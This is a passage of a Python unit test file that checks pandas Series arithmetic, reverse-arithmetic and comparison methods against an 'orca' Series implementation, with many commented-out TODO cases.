os.truediv(osb).to_pandas() # assert_series_equal(c1, c2) # specify axis=0 c1 = ps.truediv(psb, axis=0) c2 = os.truediv(osb, axis=0).to_pandas() assert_series_equal(c1, c2) # specify axis=1, ValueError expected TODO: orca.Series.truediv(orca.Series(), axis=1) # msg = "No axis named 1 for object type <class 'pandas.core.series.Series'>" # with self.assertRaisesRegex(ValueError, msg): # ps.truediv(psb, axis=1) # with self.assertRaisesRegex(ValueError, msg): # os.truediv(osb, axis=1) def test_series_binary_operator_function_floordiv_scalar(self): ps = pd.Series([10, 1, 19, -5], index=['a', 'b', 'c', 'd']) os = orca.Series([10, 1, 19, -5], index=['a', 'b', 'c', 'd']) c1 = ps // 1 c2 = (os // 1).to_pandas() assert_series_equal(c1, c2) TODO: orca.Series.floordiv(1) # c1 = ps.floordiv(1) # c2 = os.floordiv(1).to_pandas() # assert_series_equal(c1, c2) def test_series_binary_operator_function_floordiv_list(self): ps = pd.Series([10, 1, 19, -5], index=['a', 'b', 'c', 'd']) os = orca.Series([10, 1, 19, -5], index=['a', 'b', 'c', 'd']) c1 = ps // [1, 2, 12, 10] c2 = (os // [1, 2, 12, 10]).to_pandas() assert_series_equal(c1, c2) TODO: orca.Series.floordiv([1, 2, 12, 10]) # c1 = ps.floordiv([1, 2, 12, 10]) # c2 = os.floordiv([1, 2, 12, 10]).to_pandas() # assert_series_equal(c1, c2) def test_series_binary_operator_function_floordiv_series(self): ps = pd.Series([10, 1, 19, -5], index=['a', 'b', 'c', 'd']) os = orca.Series([10, 1, 19, -5], index=['a', 'b', 'c', 'd']) psb = pd.Series([1, 2, 12, 10, 11], index=['a', 'a', 'b', 'c', 'd']) osb = orca.Series([1, 2, 12, 10, 11], index=['a', 'a', 'b', 'c', 'd']) pdf = pd.DataFrame( {'float': [1.0, 2.0, 3.5, 6.5], 'int': [1, 2, 7, 4], 'datetime': pd.date_range('2019-01-02', periods=4), 'string': ['foo', 'ss', 'sw', 'qa']}, index=['a', 'b', 'c', 'c']) odf = orca.DataFrame( {'float': [1.0, 2.0, 3.5, 6.5], 'int': [1, 2, 7, 4], 'datetime': pd.date_range('2019-01-02', periods=4), 'string': ['foo', 'ss', 'sw', 'qa']}, index=['a', 'b', 'c', 'c']) # series with series c1 = ps // psb c2 = (os // osb).to_pandas() assert_series_equal(c1, c2) # series with series expression c1 = ps // (1 + psb) c2 = (os // (1 + osb)).to_pandas() assert_series_equal(c1, c2) # series expression with series expression c1 = (ps - [1, 3, 5, 4]) // (1 + psb) c2 = ((os - [1, 3, 5, 4]) // (1 + osb)).to_pandas() assert_series_equal(c1, c2) TODO: odf["float"] // odf["int"] # c1 = pdf["float"] // pdf["int"] # c2 = (odf["float"] // odf["int"]).to_pandas() # assert_series_equal(c1, c2) # series with series # default axis=0 TODO: orca.Series.floordiv(orca.Series()) # c1 = ps.floordiv(psb) # c2 = os.floordiv(osb).to_pandas() # assert_series_equal(c1, c2) # specify axis=0 c1 = ps.floordiv(psb, axis=0) c2 = os.floordiv(osb, axis=0).to_pandas() assert_series_equal(c1, c2) # specify axis=1, ValueError expected TODO: orca.Series.floordiv(orca.Series(), axis=1) # msg = "No axis named 1 for object type <class 'pandas.core.series.Series'>" # with self.assertRaisesRegex(ValueError, msg): # ps.floordiv(psb, axis=1) # with self.assertRaisesRegex(ValueError, msg): # os.floordiv(osb, axis=1) def test_series_binary_operator_function_mod_scalar(self): ps = pd.Series([10, 1, 19, -5], index=['a', 'b', 'c', 'd']) os = orca.Series([10, 1, 19, -5], index=['a', 'b', 'c', 'd']) c1 = ps % 1 c2 = (os % 1).to_pandas() assert_series_equal(c1, c2) TODO: orca.Series.mod(1) # c1 = ps.mod(1) # c2 = os.mod(1).to_pandas() # assert_series_equal(c1, c2) def test_series_binary_operator_function_mod_list(self): ps = pd.Series([10, 1, 19, -5], index=['a', 'b', 'c', 'd']) os = orca.Series([10, 1, 19, -5], index=['a', 'b', 'c', 'd']) c1 = ps % [1, 2, 12, 10] c2 = (os % [1, 2, 12, 10]).to_pandas() assert_series_equal(c1, c2) TODO: orca.Series.mod([1, 2, 12, 10]) # c1 = ps.mod([1, 2, 12, 10]) # c2 = os.mod([1, 2, 12, 10]).to_pandas() # assert_series_equal(c1, c2) def test_series_binary_operator_function_mod_series(self): ps = pd.Series([10, 1, 19, -5], index=['a', 'b', 'c', 'd']) os = orca.Series([10, 1, 19, -5], index=['a', 'b', 'c', 'd']) psb = pd.Series([1, 2, 12, 10, 11], index=['a', 'a', 'b', 'c', 'd']) osb = orca.Series([1, 2, 12, 10, 11], index=['a', 'a', 'b', 'c', 'd']) pdf = pd.DataFrame( {'float': [1.0, 2.0, 3.5, 6.5], 'int': [1, 2, 7, 4], 'datetime': pd.date_range('2019-01-02', periods=4), 'string': ['foo', 'ss', 'sw', 'qa']}, index=['a', 'b', 'c', 'c']) odf = orca.DataFrame( {'float': [1.0, 2.0, 3.5, 6.5], 'int': [1, 2, 7, 4], 'datetime': pd.date_range('2019-01-02', periods=4), 'string': ['foo', 'ss', 'sw', 'qa']}, index=['a', 'b', 'c', 'c']) # series with series c1 = ps % psb c2 = (os % osb).to_pandas() assert_series_equal(c1, c2) # series with series expression c1 = ps % (1 + psb) c2 = (os % (1 + osb)).to_pandas() assert_series_equal(c1, c2) # series expression with series expression c1 = (ps - [1, 3, 5, 4]) % (1 + psb) c2 = ((os - [1, 3, 5, 4]) % (1 + osb)).to_pandas() assert_series_equal(c1, c2) TODO: odf["float"] % odf["int"] # c1 = pdf["float"] % pdf["int"] # c2 = (odf["float"] % odf["int"]).to_pandas() # assert_series_equal(c1, c2) # series with series # default axis=0 TODO: orca.Series.mod(orca.Series()) # c1 = ps.mod(psb) # c2 = os.mod(osb).to_pandas() # assert_series_equal(c1, c2) # specify axis=0 c1 = ps.mod(psb, axis=0) c2 = os.mod(osb, axis=0).to_pandas() assert_series_equal(c1, c2) # specify axis=1, ValueError expected TODO: orca.Series.mod(orca.Series(), axis=1) # msg = "No axis named 1 for object type <class 'pandas.core.series.Series'>" # with self.assertRaisesRegex(ValueError, msg): # ps.mod(psb, axis=1) # with self.assertRaisesRegex(ValueError, msg): # os.mod(osb, axis=1) def test_series_binary_operator_function_pow_scalar(self): ps = pd.Series([10, 1, 19, -5], index=['a', 'b', 'c', 'd']) os = orca.Series([10, 1, 19, -5], index=['a', 'b', 'c', 'd']) c1 = ps ** 1 c2 = (os ** 1).to_pandas() assert_series_equal(c1, c2, check_dtype=False) TODO: orca.Series.pow(1) # c1 = ps.pow(1) # c2 = os.pow(1).to_pandas() # assert_series_equal(c1, c2, check_dtype=False) def test_series_binary_operator_function_pow_list(self): ps = pd.Series([10, 1, 19, -5], index=['a', 'b', 'c', 'd']) os = orca.Series([10, 1, 19, -5], index=['a', 'b', 'c', 'd']) c1 = ps ** [1, 2, 12, 10] c2 = (os ** [1, 2, 12, 10]).to_pandas() assert_series_equal(c1, c2, check_dtype=False) TODO: orca.Series.pow([1, 2, 12, 10]) # c1 = ps.pow([1, 2, 12, 10]) # c2 = os.pow([1, 2, 12, 10]).to_pandas() # assert_series_equal(c1, c2, check_dtype=False) def test_series_binary_operator_function_pow_series(self): ps = pd.Series([10, 1, 19, -5], index=['a', 'b', 'c', 'd']) os = orca.Series([10, 1, 19, -5], index=['a', 'b', 'c', 'd']) psb = pd.Series([1, 2, 12, 10, 11], index=['a', 'a', 'b', 'c', 'd']) osb = orca.Series([1, 2, 12, 10, 11], index=['a', 'a', 'b', 'c', 'd']) pdf = pd.DataFrame( {'float': [1.0, 2.0, 3.5, 6.5], 'int': [1, 2, 7, 4], 'datetime': pd.date_range('2019-01-02', periods=4), 'string': ['foo', 'ss', 'sw', 'qa']}, index=['a', 'b', 'c', 'c']) odf = orca.DataFrame( {'float': [1.0, 2.0, 3.5, 6.5], 'int': [1, 2, 7, 4], 'datetime': pd.date_range('2019-01-02', periods=4), 'string': ['foo', 'ss', 'sw', 'qa']}, index=['a', 'b', 'c', 'c']) # series with series c1 = ps ** psb c2 = (os ** osb).to_pandas() assert_series_equal(c1, c2, check_dtype=False) # series with series expression c1 = ps ** (1 + psb) c2 = (os ** (1 + osb)).to_pandas() assert_series_equal(c1, c2, check_dtype=False) # series expression with series expression c1 = (ps - [1, 3, 5, 4]) ** (1 + psb) c2 = ((os - [1, 3, 5, 4]) ** (1 + osb)).to_pandas() assert_series_equal(c1, c2, check_dtype=False) TODO: odf["float"] ** odf["int"] # c1 = pdf["float"] ** pdf["int"] # c2 = (odf["float"] ** odf["int"]).to_pandas() # assert_series_equal(c1, c2, check_dtype=False) # series with series # default axis=0 TODO: orca.Series.pow(orca.Series()) # c1 = ps.pow(psb) # c2 = os.pow(osb).to_pandas() # assert_series_equal(c1, c2, check_dtype=False) # specify axis=0 c1 = ps.pow(psb, axis=0) c2 = os.pow(osb, axis=0).to_pandas() assert_series_equal(c1, c2, check_dtype=False) # specify axis=1, ValueError expected TODO: orca.Series.pow(orca.Series(), axis=1) # msg = "No axis named 1 for object type <class 'pandas.core.series.Series'>" # with self.assertRaisesRegex(ValueError, msg): # ps.pow(psb, axis=1) # with self.assertRaisesRegex(ValueError, msg): # os.pow(osb, axis=1) def test_series_binary_operator_function_radd_scalar(self): ps = pd.Series([10, 1, 19, -5], index=['a', 'b', 'c', 'd']) os = orca.Series([10, 1, 19, -5], index=['a', 'b', 'c', 'd']) c1 = ps.radd(1) c2 = os.radd(1).to_pandas() assert_series_equal(c1, c2, check_dtype=False) def test_series_binary_operator_function_radd_list(self): ps = pd.Series([10, 1, 19, -5], index=['a', 'b', 'c', 'd']) os = orca.Series([10, 1, 19, -5], index=['a', 'b', 'c', 'd']) c1 = ps.radd([1, 2, 12, 10]) c2 = os.radd([1, 2, 12, 10]).to_pandas() assert_series_equal(c1, c2, check_dtype=False) def test_series_binary_operator_function_radd_series(self): ps = pd.Series([10, 1, 19, -5], index=['a', 'b', 'c', 'd']) os = orca.Series([10, 1, 19, -5], index=['a', 'b', 'c', 'd']) psb = pd.Series([1, 2, 12, 10, 11], index=['a', 'a', 'b', 'c', 'd']) osb = orca.Series([1, 2, 12, 10, 11], index=['a', 'a', 'b', 'c', 'd']) pdf = pd.DataFrame( {'float': [1.0, 2.0, 3.5, 6.5], 'int': [1, 2, 7, 4], 'datetime': pd.date_range('2019-01-02', periods=4), 'string': ['foo', 'ss', 'sw', 'qa']}, index=['a', 'b', 'c', 'c']) odf = orca.DataFrame( {'float': [1.0, 2.0, 3.5, 6.5], 'int': [1, 2, 7, 4], 'datetime': pd.date_range('2019-01-02', periods=4), 'string': ['foo', 'ss', 'sw', 'qa']}, index=['a', 'b', 'c', 'c']) # series with series # default axis=0 c1 = ps.radd(psb) c2 = os.radd(osb).to_pandas() assert_series_equal(c1, c2, check_dtype=False) # specify axis=0 # TODO: raise error: orca.Series.radd(orca.Series(), axis=0) # c1 = ps.radd(psb, axis=0) # c2 = os.radd(osb, axis=0).to_pandas() # assert_series_equal(c1, c2, check_dtype=False) # specify axis=1, ValueError expected # TODO: ValueError expected orca.Series.radd(orca.Series(), axis=1) # msg = "No axis named 1 for object type <class 'pandas.core.series.Series'>" # with self.assertRaisesRegex(ValueError, msg): # ps.radd(psb, axis=1) # with self.assertRaisesRegex(ValueError, msg): # os.radd(osb, axis=1) def test_series_binary_operator_function_rsub_scalar(self): ps = pd.Series([10, 1, 19, -5], index=['a', 'b', 'c', 'd']) os = orca.Series([10, 1, 19, -5], index=['a', 'b', 'c', 'd']) c1 = ps.rsub(1) c2 = os.rsub(1).to_pandas() assert_series_equal(c1, c2, check_dtype=False) def test_series_binary_operator_function_rsub_list(self): ps = pd.Series([10, 1, 19, -5], index=['a', 'b', 'c', 'd']) os = orca.Series([10, 1, 19, -5], index=['a', 'b', 'c', 'd']) c1 = ps.rsub([1, 2, 12, 10]) c2 = os.rsub([1, 2, 12, 10]).to_pandas() assert_series_equal(c1, c2, check_dtype=False) def test_series_binary_operator_function_rsub_series(self): ps = pd.Series([10, 1, 19, -5], index=['a', 'b', 'c', 'd']) os = orca.Series([10, 1, 19, -5], index=['a', 'b', 'c', 'd']) psb = pd.Series([1, 2, 12, 10, 11], index=['a', 'a', 'b', 'c', 'd']) osb = orca.Series([1, 2, 12, 10, 11], index=['a', 'a', 'b', 'c', 'd']) pdf = pd.DataFrame( {'float': [1.0, 2.0, 3.5, 6.5], 'int': [1, 2, 7, 4], 'datetime': pd.date_range('2019-01-02', periods=4), 'string': ['foo', 'ss', 'sw', 'qa']}, index=['a', 'b', 'c', 'c']) odf = orca.DataFrame( {'float': [1.0, 2.0, 3.5, 6.5], 'int': [1, 2, 7, 4], 'datetime': pd.date_range('2019-01-02', periods=4), 'string': ['foo', 'ss', 'sw', 'qa']}, index=['a', 'b', 'c', 'c']) # series with series # default axis=0 c1 = ps.rsub(psb) c2 = os.rsub(osb).to_pandas() assert_series_equal(c1, c2, check_dtype=False) # specify axis=0 c1 = ps.rsub(psb, axis=0) c2 = os.rsub(osb).to_pandas() assert_series_equal(c1, c2, check_dtype=False) # specify axis=1, ValueError expected TODO: orca.Series.rsub(orca.Series(), axis=1) # msg = "No axis named 1 for object type <class 'pandas.core.series.Series'>" # with self.assertRaisesRegex(ValueError, msg): # ps.rsub(psb, axis=1) # with self.assertRaisesRegex(ValueError, msg): # os.rsub(osb, axis=1) def test_series_binary_operator_function_rmul_scalar(self): ps = pd.Series([10, 1, 19, -5], index=['a', 'b', 'c', 'd']) os = orca.Series([10, 1, 19, -5], index=['a', 'b', 'c', 'd']) c1 = ps.rmul(1) c2 = os.rmul(1).to_pandas() assert_series_equal(c1, c2, check_dtype=False) def test_series_binary_operator_function_rmul_list(self): ps = pd.Series([10, 1, 19, -5], index=['a', 'b', 'c', 'd']) os = orca.Series([10, 1, 19, -5], index=['a', 'b', 'c', 'd']) c1 = ps.rmul([1, 2, 12, 10]) c2 = os.rmul([1, 2, 12, 10]).to_pandas() assert_series_equal(c1, c2, check_dtype=False) def test_series_binary_operator_function_rmul_series(self): ps = pd.Series([10, 1, 19, -5], index=['a', 'b', 'c', 'd']) os = orca.Series([10, 1, 19, -5], index=['a', 'b', 'c', 'd']) psb = pd.Series([1, 2, 12, 10, 11], index=['a', 'a', 'b', 'c', 'd']) osb = orca.Series([1, 2, 12, 10, 11], index=['a', 'a', 'b', 'c', 'd']) pdf = pd.DataFrame( {'float': [1.0, 2.0, 3.5, 6.5], 'int': [1, 2, 7, 4], 'datetime': pd.date_range('2019-01-02', periods=4), 'string': ['foo', 'ss', 'sw', 'qa']}, index=['a', 'b', 'c', 'c']) odf = orca.DataFrame( {'float': [1.0, 2.0, 3.5, 6.5], 'int': [1, 2, 7, 4], 'datetime': pd.date_range('2019-01-02', periods=4), 'string': ['foo', 'ss', 'sw', 'qa']}, index=['a', 'b', 'c', 'c']) # series with series # default axis=0 c1 = ps.rmul(psb) c2 = os.rmul(osb).to_pandas() assert_series_equal(c1, c2, check_dtype=False) # specify axis=0 c1 = ps.rmul(psb, axis=0) c2 = os.rmul(osb).to_pandas() assert_series_equal(c1, c2, check_dtype=False) # specify axis=1, ValueError expected TODO: orca.Series.rmul(orca.Series(), axis=1) # msg = "No axis named 1 for object type <class 'pandas.core.series.Series'>" # with self.assertRaisesRegex(ValueError, msg): # ps.rmul(psb, axis=1) # with self.assertRaisesRegex(ValueError, msg): # os.rmul(osb, axis=1) def test_series_binary_operator_function_rdiv_scalar(self): ps = pd.Series([10, 1, 19, -5], index=['a', 'b', 'c', 'd']) os = orca.Series([10, 1, 19, -5], index=['a', 'b', 'c', 'd']) c1 = ps.rdiv(1) c2 = os.rdiv(1).to_pandas() assert_series_equal(c1, c2, check_dtype=False) def test_series_binary_operator_function_rdiv_list(self): ps = pd.Series([10, 1, 19, -5], index=['a', 'b', 'c', 'd']) os = orca.Series([10, 1, 19, -5], index=['a', 'b', 'c', 'd']) c1 = ps.rdiv([1, 2, 12, 10]) c2 = os.rdiv([1, 2, 12, 10]).to_pandas() assert_series_equal(c1, c2, check_dtype=False) def test_series_binary_operator_function_rdiv_series(self): ps = pd.Series([10, 1, 19, -5], index=['a', 'b', 'c', 'd']) os = orca.Series([10, 1, 19, -5], index=['a', 'b', 'c', 'd']) psb = pd.Series([1, 2, 12, 10, 11], index=['a', 'a', 'b', 'c', 'd']) osb = orca.Series([1, 2, 12, 10, 11], index=['a', 'a', 'b', 'c', 'd']) pdf = pd.DataFrame( {'float': [1.0, 2.0, 3.5, 6.5], 'int': [1, 2, 7, 4], 'datetime': pd.date_range('2019-01-02', periods=4), 'string': ['foo', 'ss', 'sw', 'qa']}, index=['a', 'b', 'c', 'c']) odf = orca.DataFrame( {'float': [1.0, 2.0, 3.5, 6.5], 'int': [1, 2, 7, 4], 'datetime': pd.date_range('2019-01-02', periods=4), 'string': ['foo', 'ss', 'sw', 'qa']}, index=['a', 'b', 'c', 'c']) # series with series # default axis=0 c1 = ps.rdiv(psb) c2 = os.rdiv(osb).to_pandas() assert_series_equal(c1, c2, check_dtype=False) # specify axis=0 c1 = ps.rdiv(psb, axis=0) c2 = os.rdiv(osb).to_pandas() assert_series_equal(c1, c2, check_dtype=False) # specify axis=1, ValueError expected TODO: orca.Series.rdiv(orca.Series(), axis=1) # msg = "No axis named 1 for object type <class 'pandas.core.series.Series'>" # with self.assertRaisesRegex(ValueError, msg): # ps.rdiv(psb, axis=1) # with self.assertRaisesRegex(ValueError, msg): # os.rdiv(osb, axis=1) def test_series_binary_operator_function_rtruediv_scalar(self): ps = pd.Series([10, 1, 19, -5], index=['a', 'b', 'c', 'd']) os = orca.Series([10, 1, 19, -5], index=['a', 'b', 'c', 'd']) c1 = ps.rtruediv(1) c2 = os.rtruediv(1).to_pandas() assert_series_equal(c1, c2, check_dtype=False) def test_series_binary_operator_function_rtruediv_list(self): ps = pd.Series([10, 1, 19, -5], index=['a', 'b', 'c', 'd']) os = orca.Series([10, 1, 19, -5], index=['a', 'b', 'c', 'd']) c1 = ps.rtruediv([1, 2, 12, 10]) c2 = os.rtruediv([1, 2, 12, 10]).to_pandas() assert_series_equal(c1, c2, check_dtype=False) def test_series_binary_operator_function_rtruediv_series(self): ps = pd.Series([10, 1, 19, -5], index=['a', 'b', 'c', 'd']) os = orca.Series([10, 1, 19, -5], index=['a', 'b', 'c', 'd']) psb = pd.Series([1, 2, 12, 10, 11], index=['a', 'a', 'b', 'c', 'd']) osb = orca.Series([1, 2, 12, 10, 11], index=['a', 'a', 'b', 'c', 'd']) pdf = pd.DataFrame( {'float': [1.0, 2.0, 3.5, 6.5], 'int': [1, 2, 7, 4], 'datetime': pd.date_range('2019-01-02', periods=4), 'string': ['foo', 'ss', 'sw', 'qa']}, index=['a', 'b', 'c', 'c']) odf = orca.DataFrame( {'float': [1.0, 2.0, 3.5, 6.5], 'int': [1, 2, 7, 4], 'datetime': pd.date_range('2019-01-02', periods=4), 'string': ['foo', 'ss', 'sw', 'qa']}, index=['a', 'b', 'c', 'c']) # series with series # default axis=0 c1 = ps.rtruediv(psb) c2 = os.rtruediv(osb).to_pandas() assert_series_equal(c1, c2, check_dtype=False) # specify axis=0 c1 = ps.rtruediv(psb, axis=0) c2 = os.rtruediv(osb).to_pandas() assert_series_equal(c1, c2, check_dtype=False) # specify axis=1, ValueError expected TODO: orca.Series.rtruediv(orca.Series(), axis=1) # msg = "No axis named 1 for object type <class 'pandas.core.series.Series'>" # with self.assertRaisesRegex(ValueError, msg): # ps.rtruediv(psb, axis=1) # with self.assertRaisesRegex(ValueError, msg): # os.rtruediv(osb, axis=1) def test_series_binary_operator_function_rfloordiv_scalar(self): # TODO：负数的差异 # ps = pd.Series([10, 1, 19, -5], index=['a', 'b', 'c', 'd']) # os = orca.Series([10, 1, 19, -5], index=['a', 'b', 'c', 'd']) ps = pd.Series([10, 1, 19, 5], index=['a', 'b', 'c', 'd']) os = orca.Series([10, 1, 19, 5], index=['a', 'b', 'c', 'd']) c1 = ps.rfloordiv(1) c2 = os.rfloordiv(1).to_pandas() assert_series_equal(c1, c2, check_dtype=False) def test_series_binary_operator_function_rfloordiv_list(self): # TODO：负数的差异 # ps = pd.Series([10, 1, 19, -5], index=['a', 'b', 'c', 'd']) # os = orca.Series([10, 1, 19, -5], index=['a', 'b', 'c', 'd']) ps = pd.Series([10, 1, 19, 5], index=['a', 'b', 'c', 'd']) os = orca.Series([10, 1, 19, 5], index=['a', 'b', 'c', 'd']) c1 = ps.rfloordiv([1, 2, 12, 10]) c2 = os.rfloordiv([1, 2, 12, 10]).to_pandas() assert_series_equal(c1, c2, check_dtype=False) def test_series_binary_operator_function_rfloordiv_series(self): # TODO：负数的差异 # ps = pd.Series([10, 1, 19, -5], index=['a', 'b', 'c', 'd']) # os = orca.Series([10, 1, 19, -5], index=['a', 'b', 'c', 'd']) ps = pd.Series([10, 1, 19, 5], index=['a', 'b', 'c', 'd']) os = orca.Series([10, 1, 19, 5], index=['a', 'b', 'c', 'd']) psb = pd.Series([1, 2, 12, 10, 11], index=['a', 'a', 'b', 'c', 'd']) osb = orca.Series([1, 2, 12, 10, 11], index=['a', 'a', 'b', 'c', 'd']) pdf = pd.DataFrame( {'float': [1.0, 2.0, 3.5, 6.5], 'int': [1, 2, 7, 4], 'datetime': pd.date_range('2019-01-02', periods=4), 'string': ['foo', 'ss', 'sw', 'qa']}, index=['a', 'b', 'c', 'c']) odf = orca.DataFrame( {'float': [1.0, 2.0, 3.5, 6.5], 'int': [1, 2, 7, 4], 'datetime': pd.date_range('2019-01-02', periods=4), 'string': ['foo', 'ss', 'sw', 'qa']}, index=['a', 'b', 'c', 'c']) # series with series # default axis=0 c1 = ps.rfloordiv(psb) c2 = os.rfloordiv(osb).to_pandas() assert_series_equal(c1, c2, check_dtype=False) # specify axis=0 c1 = ps.rfloordiv(psb, axis=0) c2 = os.rfloordiv(osb).to_pandas() assert_series_equal(c1, c2, check_dtype=False) # specify axis=1, ValueError expected TODO: orca.Series.rfloordiv(orca.Series(), axis=1) # msg = "No axis named 1 for object type <class 'pandas.core.series.Series'>" # with self.assertRaisesRegex(ValueError, msg): # ps.rfloordiv(psb, axis=1) # with self.assertRaisesRegex(ValueError, msg): # os.rfloordiv(osb, axis=1) def test_series_binary_operator_function_rmod_scalar(self): # TODO：负数的差异 # ps = pd.Series([10, 1, 19, -5], index=['a', 'b', 'c', 'd']) # os = orca.Series([10, 1, 19, -5], index=['a', 'b', 'c', 'd']) ps = pd.Series([10, 1, 19, 5], index=['a', 'b', 'c', 'd']) os = orca.Series([10, 1, 19, 5], index=['a', 'b', 'c', 'd']) c1 = ps.rmod(1) c2 = os.rmod(1).to_pandas() assert_series_equal(c1, c2, check_dtype=False) def test_series_binary_operator_function_rmod_list(self): # TODO：负数的差异 # ps = pd.Series([10, 1, 19, -5], index=['a', 'b', 'c', 'd']) # os = orca.Series([10, 1, 19, -5], index=['a', 'b', 'c', 'd']) ps = pd.Series([10, 1, 19, 5], index=['a', 'b', 'c', 'd']) os = orca.Series([10, 1, 19, 5], index=['a', 'b', 'c', 'd']) c1 = ps.rmod([1, 2, 12, 10]) c2 = os.rmod([1, 2, 12, 10]).to_pandas() assert_series_equal(c1, c2, check_dtype=False) def test_series_binary_operator_function_rmod_series(self): # TODO：负数的差异 # ps = pd.Series([10, 1, 19, -5], index=['a', 'b', 'c', 'd']) # os = orca.Series([10, 1, 19, -5], index=['a', 'b', 'c', 'd']) ps = pd.Series([10, 1, 19, 5], index=['a', 'b', 'c', 'd']) os = orca.Series([10, 1, 19, 5], index=['a', 'b', 'c', 'd']) psb = pd.Series([1, 2, 12, 10, 11], index=['a', 'a', 'b', 'c', 'd']) osb = orca.Series([1, 2, 12, 10, 11], index=['a', 'a', 'b', 'c', 'd']) pdf = pd.DataFrame( {'float': [1.0, 2.0, 3.5, 6.5], 'int': [1, 2, 7, 4], 'datetime': pd.date_range('2019-01-02', periods=4), 'string': ['foo', 'ss', 'sw', 'qa']}, index=['a', 'b', 'c', 'c']) odf = orca.DataFrame( {'float': [1.0, 2.0, 3.5, 6.5], 'int': [1, 2, 7, 4], 'datetime': pd.date_range('2019-01-02', periods=4), 'string': ['foo', 'ss', 'sw', 'qa']}, index=['a', 'b', 'c', 'c']) # series with series # default axis=0 c1 = ps.rmod(psb) c2 = os.rmod(osb).to_pandas() assert_series_equal(c1, c2, check_dtype=False) # specify axis=0 c1 = ps.rmod(psb, axis=0) c2 = os.rmod(osb).to_pandas() assert_series_equal(c1, c2, check_dtype=False) # specify axis=1, ValueError expected TODO: orca.Series.rmod(orca.Series(), axis=1) # msg = "No axis named 1 for object type <class 'pandas.core.series.Series'>" # with self.assertRaisesRegex(ValueError, msg): # ps.rmod(psb, axis=1) # with self.assertRaisesRegex(ValueError, msg): # os.rmod(osb, axis=1) def test_series_binary_operator_function_rpow_scalar(self): ps = pd.Series([10, 1, 9.0, 5], index=['a', 'b', 'c', 'd']) os = orca.Series([10, 1, 9.0, 5], index=['a', 'b', 'c', 'd']) c1 = ps.rpow(4) c2 = os.rpow(4).to_pandas() assert_series_equal(c1, c2, check_dtype=False) def test_series_binary_operator_function_rpow_list(self): ps = pd.Series([10, 1, 9.0, 5], index=['a', 'b', 'c', 'd']) os = orca.Series([10, 1, 9.0, 5], index=['a', 'b', 'c', 'd']) c1 = ps.rpow([1, 2, 12, 10]) c2 = os.rpow([1, 2, 12, 10]).to_pandas() assert_series_equal(c1, c2, check_dtype=False) def test_series_binary_operator_function_rpow_series(self): ps = pd.Series([10, 1, 9.0, 5], index=['a', 'b', 'c', 'd']) os = orca.Series([10, 1, 9.0, 5], index=['a', 'b', 'c', 'd']) psb = pd.Series([1, 2, 12, 10.0, 11], index=['a', 'a', 'b', 'c', 'd']) osb = orca.Series([1, 2, 12, 10.0, 11], index=['a', 'a', 'b', 'c', 'd']) pdf = pd.DataFrame( {'float': [1.0, 2.0, 3.5, 6.5], 'int': [1, 2, 7, 4], 'datetime': pd.date_range('2019-01-02', periods=4), 'string': ['foo', 'ss', 'sw', 'qa']}, index=['a', 'b', 'c', 'c']) odf = orca.DataFrame( {'float': [1.0, 2.0, 3.5, 6.5], 'int': [1, 2, 7, 4], 'datetime': pd.date_range('2019-01-02', periods=4), 'string': ['foo', 'ss', 'sw', 'qa']}, index=['a', 'b', 'c', 'c']) # series with series # default axis=0 c1 = ps.rpow(psb) c2 = os.rpow(osb).to_pandas() assert_series_equal(c1, c2, check_dtype=False, check_less_precise=1) # specify axis=0 c1 = ps.rpow(psb, axis=0) c2 = os.rpow(osb).to_pandas() assert_series_equal(c1, c2, check_dtype=False) # specify axis=1, ValueError expected TODO: orca.Series.rpow(orca.Series(), axis=1) # msg = "No axis named 1 for object type <class 'pandas.core.series.Series'>" # with self.assertRaisesRegex(ValueError, msg): # ps.rpow(psb, axis=1) # with self.assertRaisesRegex(ValueError, msg): # os.rpow(osb, axis=1) def test_series_binary_operator_function_combine(self): ps1 = pd.Series({'falcon': 330.0, 'eagle': 160.0}) ps2 = pd.Series({'falcon': 345.0, 'eagle': 200.0, 'duck': 30.0}) os1 = orca.Series({'falcon': 330.0, 'eagle': 160.0}) os2 = orca.Series({'falcon': 345.0, 'eagle': 200.0, 'duck': 30.0}) # TODO: orca.Series().combine() # c1 = ps1.combine(os2, max) # c2 = os1.combine(ps2, max) # assert_series_equal(c1, c2) def test_series_binary_operator_function_combine_first(self): ps1 = pd.Series([1, np.nan]) ps2 = pd.Series([3, 4]) os1 = orca.Series([1, np.nan]) os2 = orca.Series([3, 4]) # TODO: orca.Series().combine_first() # c1 = ps1.combine_first(os2) # c2 = os1.combine_first(ps2) # assert_series_equal(c1, c2) def test_series_binary_operator_function_round(self): ps = pd.Series([0.1, 1.3, 2.7]) os = orca.Series([0.1, 1.3, 2.7]) # TODO: orca.Series().round() c1 = ps.round(1) c2 = os.round(1) assert_series_equal(c1, c2.to_pandas()) pser = pd.Series([0.028208, 0.038683, 0.877076], name='x') oser = orca.Series(pser) # TODO: TypeError expected: integer argument expected, got float # msg = "integer argument expected, got float" # with self.assertRaisesRegex(TypeError, msg): # pser.round(1.5) # with self.assertRaisesRegex(TypeError, msg): # oser.round(1.5) @property def psla(self): return pd.Series({'dog': 1, 'cat': 2, 'pig': 3, 'cow': 4}, index=['dog', 'cat', 'pig', 'cow']) @property def pslb(self): return pd.Series({'dog': 1, 'cat': 3, 'pig': 2, 'cow': 5}, index=['dog', 'cat', 'pig', 'cow']) @property def osla(self): return orca.Series({'dog': 1, 'cat': 2, 'pig': 3, 'cow': 4}, index=['dog', 'cat', 'pig', 'cow']) @property def oslb(self): return orca.Series({'dog': 1, 'cat': 3, 'pig': 2, 'cow': 5}, index=['dog', 'cat', 'pig', 'cow']) def test_series_binary_operator_function_lt(self): # other = scalar value pc1 = self.psla.lt(3) oc1 = self.osla.lt(3).to_pandas() assert_series_equal(pc1, oc1) # other = Series pc2 = self.psla.lt(self.pslb) oc2 = self.osla.lt(self.oslb).to_pandas() assert_series_equal(pc2, oc2) def test_series_binary_operator_function_gt(self): # other = scalar value pc1 = self.psla.gt(3) oc1 = self.osla.gt(3).to_pandas() assert_series_equal(pc1, oc1) # other = Series pc2 = self.psla.gt(self.pslb) oc2 = self.osla.gt(self.oslb).to_pandas() assert_series_equal(pc2, oc2) def test_series_binary_operator_function_le(self): # other = scalar value pc1 = self.psla.le(3) oc1 = self.osla.le(3).to_pandas() assert_series_equal(pc1, oc1) # other = Series pc2 = self.psla.le(self.pslb) oc2 = self.osla.le(self.oslb).to_pandas() assert_series_equal(pc2, oc2) def test_series_binary_operator_function_ge(self): # other = scalar value pc1 = self.psla.ge(3) oc1 = self.osla.ge(3).to_pandas() assert_series_equal(pc1, oc1) # other = Series pc2 = self.psla.ge(self.pslb) oc2 = 